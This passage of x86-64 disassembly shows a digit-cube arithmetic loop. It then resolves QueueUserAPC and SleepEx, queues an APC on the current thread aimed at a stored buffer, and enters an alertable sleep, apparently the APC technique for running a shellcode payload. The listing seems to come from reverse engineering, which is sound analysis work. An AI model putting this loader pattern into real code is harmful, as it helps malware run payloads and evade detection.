sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x528], edx
mov eax, dword [rbp + 0x528]
imul eax, eax
imul eax, dword [rbp + 0x528]
add dword [rbp + 0x6e8], eax
mov eax, dword [rbp + 0x6e0]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x6e0], eax
cmp dword [rbp + 0x6e0], 0
jne 0x14000296b
mov eax, dword [rbp + 0x6e8]
cmp eax, dword [rbp + 0x6e4]
jne 0x1400029f9
mov eax, dword [rbp + 0x6e4]
mov dword [rbp + 0x52c], eax
add dword [rbp + 0x6e4], 1
cmp dword [rbp + 0x6e4], 0x2a5
jle 0x140002953
mov rax, qword [rbp + 0x6d0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x538], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x530], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x540]
mov r9, qword [rbp + 0x538]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x530]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x760]
add rsp, 0x7f8
pop rbx
pop rsi
pop rdi
pop rbp
ret